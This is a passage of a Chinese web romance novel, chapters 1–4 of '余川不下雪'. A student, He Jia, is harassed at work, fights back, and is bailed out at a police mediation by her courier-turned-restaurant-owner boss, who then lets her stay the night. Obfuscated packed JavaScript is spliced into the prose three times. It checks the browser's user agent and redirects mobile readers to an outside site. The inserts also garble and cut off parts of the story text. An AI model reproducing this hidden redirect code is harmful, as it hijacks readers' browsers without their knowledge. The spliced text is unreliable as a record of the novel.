《余川不下雪》 1. 第1章(修) 天寒地冻,冷风刺骨,2017年的冬天比以往更冷。 何嘉身上只穿了件薄毛衣,坐在铁椅上的时候忍不住发抖。 她来派出所的时候什么都没带,手机和外套都放在店里,现在只能坐着发呆。 隔壁警官看她皱成一团,好心问她:“冷吗?要不要我喊谁给你找件外套?” 她摇头,只问:“请问你们联系饭店老板了吗?我没带手机,没法让她过来。” 警官说:“联系了,你过来的时候就联系了。再等等,快了,等他过来就可以开始调解了。” “好,麻烦了。”何嘉低着头,看见自己的手背白一块红一块,是冻的。 她心情很差,但尽力忍着不适,将希望都寄托到那位只有一面之缘的老板身上。 才到人家的饭店兼职,就惹出这么大一个祸事出来,她只能祈祷,老板宽宏大量,会把她从这里快点领出去。 几个小时前,何嘉在饭店遇上了一件棘手的事情。 几个满脸横肉的男人来吃饭,要了包间之后让她在房间里上茶。 她本就初来乍到,只好乖巧点头:“好的,我来帮你们倒茶。” 可谁知,其中一个秃头男在她倒茶的时候伸出了咸猪手,他油腻的手掌在她腰上抓了一把,她立马警觉:“你干什么!” 秃头男笑了下,朝身边的男人问了一圈:“兄弟们我干嘛啦?你们看到了吗?” 他们哄笑一声,只管起哄:“没看到啊!怎么回事儿啊?” 何嘉眼神一凝,转身向外走,秃头男却抓住她的手腕不放她走。 她恼了,反手将手上的热茶泼了出去,滚水洒在他脸上,他的惊叫和茶壶碎裂的声响回荡在包间里。 一行人面面相觑,倒是秃头率先找回意识,在何嘉脸上留下结实的一巴掌。 她也不是软骨头的人,捡起地上的碎片就往那人头上砸。 “哐当——”秃头男的额头被砸了个口子,鲜血顺着皮肤慢慢滑落。 他脸上染上一个奸邪的笑,抓着何嘉的领子,作势又要打她。 她一直盯着他,眼神比他更狠:“你要打是吗?报警,我现在就报警!你等着,你今天再打我一下,你明天都别想出来!” “呵呵?”秃头男看她绝不服输的样子,来了兴致:“报警?报警是吧?” 他大致环顾包间,发现没有监控,轻笑一声放开她的领子,又朝身后的几个男人打了个眼色。 那些男人会意,竟然主动把电话拿到何嘉面前,其中一个说:“报警啊,报吧。” 何嘉迟疑半瞬,看不懂他们的意思。 男人抓住这个间隙,立马拨通了110,没过多久就来了个警官,他们大致了解经过,没再多问什么,只是立马将何嘉铐走了。 剩下的人也进了警局,但是待遇都比她要好。 这让她一时间觉得荒唐。 在派出所一直坐到夜间,何嘉的脚尖麻木,她试着跺了跺脚,但始终找不回温暖的温度。 墙上的时钟走得好慢,时针快要指到“10”的时候门外才传来一阵脚步声。 “吱呀——”房门被一股力量推开,冷风着了魔似的往里灌,何嘉忍不住打了颤,连忙在椅子上端坐好。 她朝门外看去,比人先进来的是一句道歉—— “不好意思,我来晚了。” 是个男人的声音。 何嘉确定自己没有听错,心里疑惑了刹那。 一个男人闯入她的视线,他身形挺拔,穿着一身快递工装,看上去很严肃又正派。 她眼睛眨也不眨地盯着他,正在思考她哪里认识这个人。 那人关了门朝里走,眼神先往何嘉这儿看了眼,又转头看向两个警察:“抱歉,刚才路上遇到点事儿耽搁了。” 其中一个警官对他点头:“来了那我们就开始吧,那边儿也等久了。” 他说好。 何嘉从椅子上站起来,看着他朝自己一步一步走近。 他停在她面前,轻描淡写地说:“我来处理。” 她表情愣愣,只问:“请问,你是哪位?” 两个警官抬头看向他们,但没说话。 “你老板。”男人没有表情,很自然地在她身边坐下。 何嘉还想问:“可是,昨天招我的老板好像叫张姨?” 他看了她一眼,冷冷地说:“我看上去应该不叫张姨。” “呃。”怪冷的,她跟着他坐好,没再问什么。 “你们商量完了吧?”警官指着门外,提醒道:“调解对象就在门外,要是准备好了我们就开始走流程了。” “好了。”李成杨先何嘉一步回答。 大门再次敞开,这次进来的是三个歪瓜裂枣,为首的是那个秃头男。 他在室内环视一周,看见何嘉旁边多了个人,笑了:“救命稻草来啦。” 何嘉瞪了他一眼,刚想说什么却被警官打断:“大家都知道现在为什么要调解了是吧?” 警官看向何嘉:“你把人打流血了啊,刚才来的时候已经跟你说过了,不调解的话就拘留,可能留案底,你现在是决定要调解了是吧?” 说完又看向秃头男那方:“你是被打,同意调解,提出的要求是赔款是吧?” 秃头男很快点头:“对!赔钱!打人赔钱天经地义!” “咳。”何嘉身边的男人转头问她:“你打人?” 她小声解释:“是他们先骚扰我,然后我没忍住,就打人了……” 李成杨了然,目光落在她脸上红肿的掌印上,“然后你也被打了?” “嗯,对的。” “那为什么被调解的是你?” “因为店里的包间没监控,他们人又多。” 说到这里,李成杨已经将事件的经过大致理清。 总之就是,这姑娘被人骚扰,防卫过后因为没有证据能证明是他们先动手的,再加上他们人多,脸上还有伤口,所以只能判她过错。 很不幸,也很荒谬。 但也确实是这么发生了。 “知道了。”李成杨叹了口气,说:“没监控是我的问题,这个事我来解决。” “麻烦了。”何嘉神情黯然。 “要多少。”他喜欢开门见山,“要多少你们同意调解?” 秃头男“啧”了一声,同身边的人商量了几句,最后语气不善地说:“三千。” “三千?”何嘉以为自己听错了,开始不淡定:“是你先骚扰我的,现在还要那么多钱?” 他敲了敲桌子,不依不饶:“妹妹,你这话怎么说的?谁骚扰你了?” 又看向身边的人:“你俩说,我骚扰她了吗?有什么证据能证明我骚扰她了?这是诽谤是不是?” 他们口供一致:“没有啊!这小妹怎么张口就乱说呢!” “你们!” 何嘉从没见过这么不要脸的人,手掌开始不自觉发抖。 “先冷静。”李成杨象征性拍了拍她的肩膀,表示安慰。 警官眼光老练,早知道李成杨才是话事人,于是直接问他:“赔偿三千,你们接不接受?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242326|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他点点头,很淡然:“可以。” 她却觉得一点也不可以。她浑身上下都找不出三千块钱,况且昨天去饭店兼职就是为了存点毕业要用的钱。 “我没那么多。”何嘉偷偷去戳他的袖口,语气不自信。 他轻微点头,说:“我给,我说了我来处理。” 陈警官喜欢这种不墨迹的人:“那行,确定了的话我们现在就签调解书,可以吧?” 李成杨没马上答应,剜了秃头男一眼,又很快看向警官:“这个钱我们赔了之后就完事了吧?后续有什么就不关我们的事了。” “对的,签完就了结,这就算个民事案件。” “好,那就这样。” 何嘉和他靠近一点,悄悄跟他说:“三千挺多的,要不我们再谈谈吧?” 他没后退,只回答:“等会儿再说。” 警官将调解书递到何嘉面前,提示:“签吧,签了再赔偿。” 何嘉签下自己的名字,按了手印之将文件递给秃头男。 秃头男很得意:“哎呦好好好,你说这事儿弄的,不体面真不体面。” “说什么?”李成杨冷淡地朝他伸手:“收款码拿来。” 秃头男摸出手机递给他,他在屏幕上点了几下,三千块瞬间到账。 “可以了。”他把手机还给秃头。 秃头嘴都咧到耳朵上去,非要拿出头上的伤再晃一晃:“小妹妹啊,以后遇到事情还是要冷静,你看你给我搞的,都不知道要好久才能好。” 何嘉气得脸都憋红了,却只能将拳头攥得紧紧的。 “闭嘴。”李成杨对他已经没有耐心了。 秃头男还想挑衅,陈警官先他一步打断:“差不多得了,你还没签字啊,把字签了。” 秃头的跟班儿跟着附和:“对对对,咱们这种老实人该听警官的。” “嘁。”秃头扯过调解书,嘴上不停:“今天是我们决定不追究了,算你们走运。” 何嘉仍旧黑着脸,并不打算再和他们争执。 警官收回调解书,做了最后的宣告:“好了,签了调解协议就结案了,大家都到此为止好吧,各回各家,这个事情就彻底处理完了。” “麻烦了。”李成杨起身和两位警官握手,何嘉木讷地跟在他身后。 她摸了摸脸颊,刚才被打的地方还隐隐作痛。 好在走廊风大,刺骨的气温渐渐麻痹痛楚,只在她心里留下一阵委屈的伤痕。 她跟着他又走了几步,忍着情绪戳了戳他衣袖。 他并未察觉,她转而拉住他的衣角。 李成杨顿住,眼神滑过一瞬诧异,很快就恢复正常。 他问她:“怎么了?” 小姑娘望着他,眼里湿润,但很倔强。 她吸了吸鼻涕,声音闷闷的:“对不起,我以后会还钱给你的。” “嗯。”李成杨的目光落向她的指尖,本该是白净的手指,现在已经被冻成紫红。 她没有穿外套,单薄的身躯在风里打颤。 “不穿外套就来了?”他没来由地问了句。 “没来得及。” “嗯。”他脑子里闪过一个念头,但又觉得不合适,便没再提什么。 派出所的大门近在咫尺,他向刚才一样走在她前面。 何嘉在原地犹豫,不确定自己是否应该跟着他。 男人又走了几步,没听见身后的脚步声,回头的时候,风声带着他的声音卷到她耳旁: “跟上我。” 很静,很温和。 2. 第2章(修) 从派出所出来的时候已经月挂当头,街上的LED彩灯早就歇下,整个路口只有几盏路灯散着暖光,看上去寂寥又落寞,正如何嘉的心情。 她跟在李成杨身后,心情忐忑。 而他一直沉默,没有和她多说什么,只是自顾自走着。 何嘉趁机打量他的背影。他很高,甚至比她高了一个头多一点,她跟在他身后就像德牧身边的柯基。 男人的头发短,配上结实的身型,即使是穿着一身灰扑扑的工作服,也让人觉得鹤立鸡群。 只是无法观察他的模样,刚才也没认真正眼瞧他,何嘉只隐约记得是非常让人印象深刻的。 “你去哪?”李成杨突然止步,转身看向她。 她一下回神,不敢正眼看他:“我的外套和手机还在店里。” 他指了指路边的轿车:“那上车,我也回店里。” 何嘉本想坐后排,但又想着他刚才帮自己解决了一桩人生大事,于是果断地拉开副驾驶的车门。 车内并不室外暖和多少,何嘉始终捏着拳头,还是因为很冷。 男人坐进主驾后看了她一眼,并不想和她主动说话。 她也不敢和他搭话,整个人紧绷成一团。 男人余光瞥到女孩的左脸,不自觉皱了眉。 他随手扯了两张纸递给她:“擦一下。” “啊?”何嘉没反应过来。 “脸。” “噢。”她立马应下,但想不明白为什么要这么做。 不管了,她只管照做。 只是这一擦什么也没擦下来,她心里犯迷糊,不明白他什么意思。 男人又瞥她一眼,这次解释:“脸上有血。” 何嘉立马想起秃头男被她砸得流血,只是不知道这血是什么时候滴到她脸上的。 她也管不了那么多,用力在脸上摩擦几下,碰到伤口的时候倒吸一口凉气。 李成杨皱眉,递给她一瓶喝了一半的农夫山泉,语气还是平淡:“用水擦。” 何嘉将纸巾打湿后又擦了一遍,废纸上果然有一层变成棕色的血渍。 这么说她刚才一直顶着这副样子和他说话?何嘉想到自己的窘样,脸上燥热,空气里弥漫着尴尬的气息。 第一次和老板见面竟然是这个场景。 男人只管专心开车,顺便问她:“还冷不冷?” 何嘉这才发觉他不知何时打开了暖气,车内气温一下升高不少,就算没有外套也不觉得寒气往骨子里跑。 她朝他微笑:“不冷了,谢谢。” 他没转头,神情一直淡淡的。 两个人陷入沉默,何嘉怕尴尬,选择去看窗外的街景,但一层雾气罩在玻璃上,什么也看不见。 她感到时间异常难熬,不但难熬还有些坐立难安。她长这么大还没有单独和异性处在这样狭小的密闭空间,一时间连手都不知道往哪儿放。 介于他刚才说自己是老板,又帮她给了和解费,她觉得自己应该主动和郑重道谢,可是好几次话到嘴边又不知道怎么开口。 李成杨早就发觉她不自在,主动破冰:“你叫什么?” 她回答:“何嘉。” “兼职生?” “对。” 他打了个哈欠,又问:“做多久?” 何嘉认真思考着说:“三个月。” “干什么都知道了?” “知道的。” “嗯。” 何嘉想了想,决定问:“张姨不是老板吗?昨天是她招的我,我就以为她是老板。” 对方说:“我平时不在店里,张姨有时候过来帮忙看店。” 她的目光落在他的工服上,又问:“你平时是在送快递么?” 他眼睛一眨,喝了口矿泉水,喉结滚动两下。 回答的时候并不介意:“嗯,平时很忙,休息的时候才去店里。” “是这样啊。” 何嘉问完就后悔了,她一个兼职的不应该多嘴。 没有话题的两个人,坐在同一个空间就是煎熬,何嘉逼自己装作从容的样子,在靠椅上动了几下。 注意力最终飘到李成杨身上。 很稀奇的一个人,明明开了家饭店却只是副业,主业竟然是送快递?就算能分身也不能同时做这两份工作吧? 但她选择把问题咽下去,一个人坐在原地磨皮擦痒。 “你有事?”李成杨见不得人别扭。 “没有。”何嘉尴尬地笑笑:“我就是坐久了,活动活动。” “哦。我以为你屁股痒。” “……” 好冷,气氛比刚才更冷了。 何嘉觉得诡异,假装淡定。 他却淡淡地说:“想问什么就问。” “我没有想问什么。” “嗯,我瞎了。”他皮笑肉不笑。 她更觉得诡异,抓着安全带一动不敢动,鼓足好大一番勇气,试探着问:“我刚刚就是在想,又送快递又开店是不是挺累的?” “还行。” “哦。” “嗯。” 没话找话,何嘉实在受不了了,这下真的决定闭嘴,还是什么都不说的好。 车内安静好一会儿,他的手机忽然响铃,打破了这种静谧诡谲的气氛。 “喂?”李成杨直接摁开电话。 对面传来张姨的声音:“成杨啊,那个小妹出来了吧?有没有事的呀?” “在我车上,没什么事。” “哦好好,没事就好,幸好你来了,那我就先回了啊,饭店我没关灯的,方便你们回来哈。” “嗯。” 挂断电话,何嘉才想起去警局之前,张姨还帮她和警察交涉了好一会儿。 怎么能把人给忘了呢,好歹张姨刚才还保护她来着。 “张姨回去了吗?” 李成杨点头:“回去了。” 何嘉脸上羞愧:“对不起,今天这件事连累你们了。” 他没回答,车子正好停在红灯路口,刺眼的红色打进车窗,他侧过身打量她的样子。 一张秀气的小脸多了一个掌印,乌红的颜色衬得她面颊白得可怜。 耷拉在脸侧的两绺碎发为她增添一丝清傲,可惜她的眼神出卖她,不安的神情忍不住往外跳,带着点赧然。 还是个青涩的小孩,什么都不懂的年纪。 何嘉不晓得躲避,顺着他的表情望进他的眼睛。 除了让秃头男闭嘴的时候,他的眼神一直像毫无波澜的湖水,如深渊那样习惯用平静去洞察人心。 但他的长相和他的淡定截然相反,他拥有十分锋利的五官,若不是气质温和,看上去就会是那种攻击力极强的长相。 好在他眉眼深刻也不显得拒人与千里之外,反而有种咖啡熟透的香气。 滴答滴答,绿灯亮起,终结了片刻停滞。 李成杨发觉不妥,率先转开视线,“不用道歉,今天的事你做得很对。” “真的吗?”何嘉眸子里一瞬难以置信,“可是我让你赔钱了……还让好多人看热闹,感觉对店里影响不好。” 他说:“遇到这种事反抗是正确的,但是不代表做得好。” “为什么?” “他欺负你你打他,天经地义。但是你有没有想过,当时只有你一个人和他们几个对峙,这样的冲突很危险。” “我没有想那么多。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为什么不可以?” “因为我没钱。” “我会给你发工资,你就有钱了,只是扣一部分罢了。” 何嘉面露难色:“可是,你一个月只给我开两千。” 两千?李成杨眉毛一挑,“那不好意思了,可以扣两个月。” 什么…… 她一听这话瞬间失去所有力气,本来是存钱读研的,现在还要白打两个月工。 “老板,可不可以通融一下?”何嘉又去戳他的衣袖,动作很轻,羽毛一般蹭在他手臂上。 他指尖微僵,愣着不回复。 “老板?”她又叫他一声,语气可怜兮兮的。 “老板,你可以先不扣我的工资吗?我现在手上有点紧张,兼职的钱对我来说挺重要的,我以后一定会把今天欠的钱还给你的。” “我保证。”她伸出四根手指,一脸决绝的样子。 像个湿漉漉的刺猬。 “你刚才说干多久?”李成杨继续轻敲手指,发出一阵细微的摩擦声。 “三个月。” “那以后是多久?” “就是,三个月以后?” 他笑了,头一次觉得有人说话很有意思。 “那就以后再说。” 三个月不算长也不太短。 他也不是什么凶神恶煞的老板,那就三个月之后再说吧。 3. 第3章(修) “好,谢谢老板。” 何嘉听他这么说,心想他这人可真好相处。 这样一来她就可以把未来几个月的兼职费存着,再等研究生开学后申请助学金,那么学费和生活费就都有着落了。 小姑娘一时间心情大好,忍不住弯一弯嘴角。 旁边的李成杨不明所以,只觉得她这人可真有意思。这一下午出的事情不算小,她也能笑得出来。但这不关他的事,他只习惯性保持沉默。 一路上走了半个小时,“老李现炒”的招牌在夜里像一盏煤油富裕的灯塔。 招牌的白字早就被灯光染成老旧的黄色,但上面没有一丝灰尘,看上去非常干净,就像她身边这人给他的感觉一样。 何嘉看着那几个字,猜测这里说的“老李”是不是身边的人,但他怎么看都不像“老”李,最多就是个“中”李吧。 唔,中李好像也说大了,他看上去蛮年轻的,只是不好猜测到底多大,二十七八应该是有的吧。 李成杨看她盯着外面发呆,再次觉得她这人很神奇,“到了不下去?” 她反应过来,有些不好意思:“我现在就去拿东西。” 他一扬下巴,“快去,等会儿我锁门。” 何嘉刚打开车门就被一阵冷风吹得打颤,今年这天气怎么冷都不满足似的,明明才十二月底就像往年二月那么冷一样,奇怪。 她站在地上跺跺脚,想让身体适应室外的温度,但又没什么用,最后还是一股脑冲进饭馆。 李成杨仍坐在车里,把她刚才的一连串动作都看在眼里。刚才她说自己已经二十二了,但他看着不像,这姑娘还年轻,跟个小朋友一样。 但是这和他无关。 这段时间流行过圣诞,快递多得根本派不过来,他好不容易忙完准备下班,偏偏店里又出了这样的状况,他早就没精力去管别的事情,还不如坐这儿打个盹。 车内暖气席卷他的疲惫,一时间让他放下紧绷的弦,数不清多少个夜晚都是这样随便应付过去。 今天却不一般。 不过五分钟,车窗处传来几声清脆的敲击声。 他一皱眉头,迟疑地抬头去看。 那是一双非常明亮的眼睛,就像盛着九月的清泉。她的睫毛在路灯下拉长阴影,经不住风吹。 “怎么了?”他按下车窗的时候觉得太阳穴有点痛。 何嘉穿着件黑色的棉服,仍旧忍不住发抖,“老板,我能跟你商量个事吗?” 李成杨没功夫和她兜圈子,“直接说。” 她忍不住吸了吸鼻子,小脸冻得通红,“我今天可以不可以在店里将就一晚?” 他奇怪地盯着她:“你不回宿舍?” 她回答:“这个点已经过了门禁了,我们最晚十一点回宿舍。” 他摸出手机看了眼时间,果然已经很晚了。 何嘉站在风里,头发不听使唤地乱跑,她总是要伸手去理。她的脸上渐渐多了一层焦急,但更多的还是恳求。 “可以吗?”她试探着说,不自然地和他对视。 他不同意:“去住宾馆,你一个人在店里不安全。” 她把住他的车窗,弱弱地说:“我没钱……” 李成杨怀疑她就是专门来给他找事的,怎么就偏她事情那么多。 “我帮你订一间,钱后面一起还我。” 何嘉急得舌头打结:“用……不用,真的不用,我一个人在店里也不会乱跑,不会不安全的。” 他想知道她反应那么大干什么:“我又没让你马上还我,以后一起还够意思了。” 她放低姿态,眼神里满是哀求:“老板……我真的没钱,要是越欠越多就真的还不完了。我真的可以自己在店里将就一晚的,不会有问题的。” “求你了。” 她又补充一句,面颊被冷风吹得通红。 他的视线划过她的脸颊,那里还留着一个巴掌印。面前的女孩皱着眉头,淡红的嘴唇紧紧抿在一起,看上去一副可怜的模样。 即使是这样狼狈的样子也难掩她超脱常人的气质,是非常柔美又倔强的面容。 他不由得叹了口气,“让一让,别挡到门了。” 何嘉以为他要开车走人,瘪着嘴一动不动,就像是在和他较劲。 只怔了一秒,他重复:“你先让一让,挡着我了。” 她偏不让,眼神坚定。 他看着她的表情觉得有点好笑,忍不住打趣一句:“你不让我下去,是想睡大街上?” 她不理解:“那我可以睡店里了吗?” 他解释:“你不让我下去,我怎么去店里?” “嗯?”她没反应过来。 他耐着性子再说一遍:“二楼有一个房间。你不让我下去我怎么领你进去?” 何嘉立马松手,眼睛多了一闪笑意,“好,谢谢老板。” 李成杨摇摇头,熟练地领她走向饭馆。 何嘉寸步不离地跟着他,生怕他又说要送自己去宾馆。 他没心思管她怎么想,只是在前面带路。何嘉才刚来,还没来得及上二楼看看是什么样子,现在看来和一楼也大差不差。 七八张桌子摆放得整整齐齐,甚至有些规矩得过分,给人的感觉很统一,不允许有一分一毫逾矩。 她继续跟在他身后,随着他的脚步踏上楼梯。这感觉很奇妙,她从来没有这样相信过一个陌生人,但不知道怎么回事,他给她一种非常踏实的感觉,所以她愿意紧随其后,也愿意相信他是个好人。 他带她经过一排包间,打开了最里面的那扇门。 原来这是一间包间改装的小房间。 屋里很空旷,没有任何杂物,除了一张小木床就是一张桌子,桌子上随意放着一个本子,不知道是用来写什么的。 李成杨将钥匙放在桌子上,回头去看何嘉,“你晚上睡这儿。” 何嘉走近一步,好奇地环顾四周。 她的气息充斥着整个房间,李成杨想起这会儿孤男寡女的不太好,主动向后走几步与她拉远距离。 她压根儿没想起这回事,目光一下子落在靠墙的那张床。 深灰色的被套看上去非常冷漠。 他顺着她的目光看到那张小床,突然想起来什么:“没有多的被子。” 意思是她只能盖他的被子,如果她要住这里的话。 何嘉收回目光,只顾猛地点头:“没关系。”想了一秒又觉得有些冒犯,这可是他的房间,她没关系哪有用,有关系的是他介不介意自己用这个房间。 她迟疑地问:“我可以用你的被子吗?” 李成杨不知道她到底怎么回事,不能的话他干嘛带她来这里?问这话有什么必要么。 但他还是回答:“可以。” “谢谢,谢谢老板。”小姑娘笑起来露出两个梨涡,怪扎眼的。 他不再看她,掀开枕头翻了个遥控器出来,“冷就开空调。” 何嘉又扫了一眼被子,看上去很薄,应该连五斤都没有,不知道他平时怎么盖得了的。 他见她做出思考的样子,更觉得好笑。这人有什么都写在脸上,还喜欢看人脸色乱想一通。 不过他很善解人意,主动说:“我平时不住这里,偶尔下班晚了才过来,被子没怎么用过。” “噢,好的。”她接过遥控器,点了点头。 李成杨摸出手机看了眼时间,兜兜转转都快十一点半,他实在感到困倦。 长舒一口气,他不忘叮嘱:“钥匙收好,晚上把该锁的门都锁好。” 何嘉当然记好,“知道了,我不会惹麻烦的。” “嗯,我走了。”他不想多说,反正别再给他弄出什么需要他解决的麻烦就行了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242328|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她一下想起他还没有给她联系方式呢。 “老板——我该怎么联系你?” 李成杨顿住脚步,语气疲惫:“张姨有我号码,你明天问她。” “噢,”她还是这一句,看着他的眼神恭敬,“谢谢老板,老板再见。” 他没搭话,径直走下楼梯。 黑暗中,男人的脚步声越来越远,何嘉赶忙跑到窗前去看他的背影。 他走得很快,影子被路灯拉得很长,看上去莫名有些寂寥的感觉。 他一直是这样的吗? 何嘉眨了眨眼睛,看到他启动轿车,随后那一点白色消失在夜幕中。 室内留她一个人,她觉得更冷了。 但是她不打算开空调,自己刚才麻烦了老板不少,现在哪好意思开空调,即使他不介意她也不好意思再花他的钱。 一晚上不知道要用几度电呢,怪贵的。 还是直接睡觉吧。 何嘉走到那张小床前,有些拘谨地躺在上面,刚躺下一秒又想起什么,于是找来两张纸巾垫在枕头上。 这样应该不算太冒犯吧。 其实她也不想睡别人的床,对她来说实在是太唐突了,不仅对别人唐突,对自己也很唐突。 但是她没有选择。 气温很低,她只能用那床薄薄的被子裹住自己。 何嘉小心地嗅了嗅被子,发现上面什么气味都没有,非要说的话只有一种空气里干燥的尘土味。 好像他给人的感觉,平平淡淡的,没有太大情绪。 她莫名想到他的样子。 眉眼很浓,鼻梁也高挺得恰到好处,明明应该是很有锋芒的长相,但给人的感觉却很温和。 但是她还是不敢多看,不知道是身份差距还是什么,她觉得他还是很威严的。 只是这样的面容,她也说不出在哪里看到过。 到底是在哪里看到过? 她试着在脑海里找寻相关的信息,竟然越想越起劲,势必要想出个所以然,不然不能睡去。 然后“信捷快递”几个字突然涌入她的脑海,那好像是李成杨工作服上面的LOGO。 她立马摸出手机,顺着这几个字点开快递APP,往下划到一两个月前的订单消息。 她平时很少买快递,记忆里偶尔那么几次的快递都是由同一个快递员派送的。 叫什么来着? 她点开那个订单,里面躺着一个名字—— 李成杨。 “嗯?”何嘉觉得这个名字有种莫名的引力,促使她一定要点开去看看这个快递员的头像。 那是一个穿着工作服的男人,连最上面一颗扣子都扣得中规中矩。他是笑着的,只不过非常淡然,给人一种亲和却疏远的感觉。 应该是二十出头的年纪,他的脸上没有一丝皱纹,却多了那个年纪不该有的沉稳。 何嘉暗暗想到:原来早就见过他了,他以前就是这个样子。 退出APP,她十分机灵地用电话号码去搜他的微信。 一个就叫“李成杨”的账号摆在眼前,她十分自然地按下“添加到通讯录”,全程没有一点犹豫。 手机这边的李成杨刚从浴室出来,整个人散发一股热气。几滴水珠顺着他的短发滑落,在地上留下不深不浅的痕迹。 他擦干手去拿手机,通讯栏冒出一个红点。 一个小猫头像申请添加为好友。 他心里犯嘀咕,想不起来哪里有这号人物,再瞥一眼这个头像,突然又想起些什么。 一个姑娘眨着眼睛问他可以不可以要他的联系方式。头发乱糟糟的,脸上也伤得不轻,看上去可怜兮兮。 不过还挺聪明,不知道她从哪儿找到的电话号码。 但是加什么工作微信,除非她要寄快递。 他摇摇头,直接关上手机,没理。 4. 第4章 何嘉冻了一夜,这晚上睡得整个人都腰酸背痛。一会儿要担心被子漏不漏风,一边又迷迷糊糊想着老板有没有通过她的好友申请。 她在枕头下摸了几秒,总算是摸到手机,按开锁屏已经是早上九点整了。 再看看昨晚的申请,可惜还躺在那里没有任何响动。 伸个懒腰,何嘉揉了揉自己的左脸,昨天淤青的地方还痛着。 几乎是同一时间手机响了起来。 她拿起一看是林桂兰的电话,语气立马变得焦急。 “怎么了林阿姨?是我阿婆怎么了吗?” 对面回答地轻快:“不是不是,你别急啊。我看你阿婆今天醒了好一会儿,看上去比前段时间精神,我估摸着她可能想听你说说话。你那儿现在不忙吧?” “不忙。”何嘉有些不敢置信,“她最近精神好么?幻觉严不严重?” 林桂兰摇头,语气严肃了些:“老样子,就今天清醒着,我看是这么些天精神头最好的了。” 何嘉有些失落:“她晚上睡得好不好?指标都正常的吗?” 林桂兰安慰道:“小嘉啊,你阿婆这些天都挺稳定的,你在那边儿就不操心这边儿的事的啊。今天有机会就和她说说话吧,等会儿她又该累了要睡觉。” “好,那你把电话给她吧。” 电话那头传来一声杂音,而后是一阵绵长微弱的呼吸。 何嘉吸了一口气,先叫她:“阿婆,你最近好不好啊?” “……”对方没有回答。 何嘉不怪她,继续说:“我昨天买了个圣诞帽,阿婆你晓不晓得什么是圣诞帽?就是圣诞老人戴的那个红扑扑的帽子,还有一圈白毛毛,可乖了。” “……”还是没有回应。 何嘉感觉自己的嗓子被石头堵住,怎么咽都咽不下喉间的酸意。 她又呼出一口气,轻轻地问对面:“阿婆,你还记不记得我啊?” 王丽琼眨了眨眼睛,十分艰难地吐出两个音节:“jia……jia” “诶,对,我是嘉嘉。”何嘉心里酸楚,抑制着情绪问她:“阿婆,你每天要好好休息知道不?你要好好的啊,以后要看着我去读研究生啊,不能自己先走了啊。” “……” 何嘉在等,等她再回答一次。 可是王丽琼这次没有回答,她是真的有些发不出声调了。 两人在电话里沉默好一晌,何嘉不想挂电话。 林桂兰见不得何嘉伤心,赶忙将手机拿回自己耳旁,“小嘉啊,你别伤心,你阿婆现在说话是有点困难了,但是她心头肯定舍不得你……” 何嘉尽量用平静的声音说:“我知道的,我都知道了。我阿婆的情况你跟我妈说了吗?” 她回答:“说了的,昨天就说了。” “我妈怎么说?” “……”这回换林阿姨沉默,想了几秒出来一句:“就说让我好好照顾老人家。” 何嘉不去深究:“嗯,谢谢你了林阿姨,这么多年都麻烦你了,我不在阿婆身边就只有你照顾她了。” “哎呦,”林桂兰连忙打断,语气宽慰:“你不要跟我说这些哟,你们既然请我来做事就是我份内的事情嘛!你在余川好好读书,你阿婆之前也总这么说的。” “我知道的。”何嘉仍旧这么回答。 “好,那我就挂电话了啊?下回再联系啊。” “嗯,拜拜。” 电话挂断后室内的冷空气瞬间冲进她的背脊,让她整个人感到疲软,一时间不知道该做什么。 又躺回床上,一床单薄的被子裹在身上,加上一件棉服也感受不到一点温暖。 何嘉盯着天花板上的某个黑点,想起自己读小学那会儿。 那时候王丽琼会带她去买菜,她可有一双火眼金睛,不新鲜的不要,不划算的不要,摊主想来忽悠几句硬是被她指着鼻子骂:“算盘打到我荷包里头来了嗦?也不看你娃儿几斤几两!” 每次摊主都要陪笑:“大姐你不买就不买嘛,那么大声干啥?还让不让我做生意了嘛。” 王丽琼鼻孔朝天,冷哼一声扬长而去。 然而如今,那个无懈可击的老太太再也说不出一句完整的话,整个人像木头一样常年卧在床上。她时常处于睡眠,醒了的时候大多处于幻觉之中。 她一直在自己的世界受苦。 何嘉翻了个身,告诉自己不要去想这些,她记得从前阿婆没那么严重的时候也说过,不要她想这些的。 那想什么好?想起自己被打还要赔钱,想起刚认识老板就欠他三千块钱,想起一月初要交的开题答辩稿一个字还没动。 怎么想想就觉得自己好像倒霉熊。 “哈哈。”她忍不住干笑一声,没让眼泪滑出眼眶。 她不想为这些事哭,她一向都能把自己的生活处理好的。 她只允许自己惆怅一小会儿,然后就起身去洗把脸,这样才算新的开始。 二楼厕所很小,一个洗手台一面镜子,这还是何嘉被打后第一次见到自己的样子。 黑眼圈有些重,头发乱早早的好像鸡窝,更可恶的是面颊红肿的地方还没有消下去,整个人看上去就是个活脱脱的流浪汉。 她努努嘴很不满意。 好好洗了两遍脸之后,她将长发全都扎成马尾,尽量将碎发拢在一起看上去有精气神些。 做完这些她又回房间将李成杨的被子全都折好,甚至不忘捻起枕头上的发丝,要确保这里恢复原样,不被他讨厌。 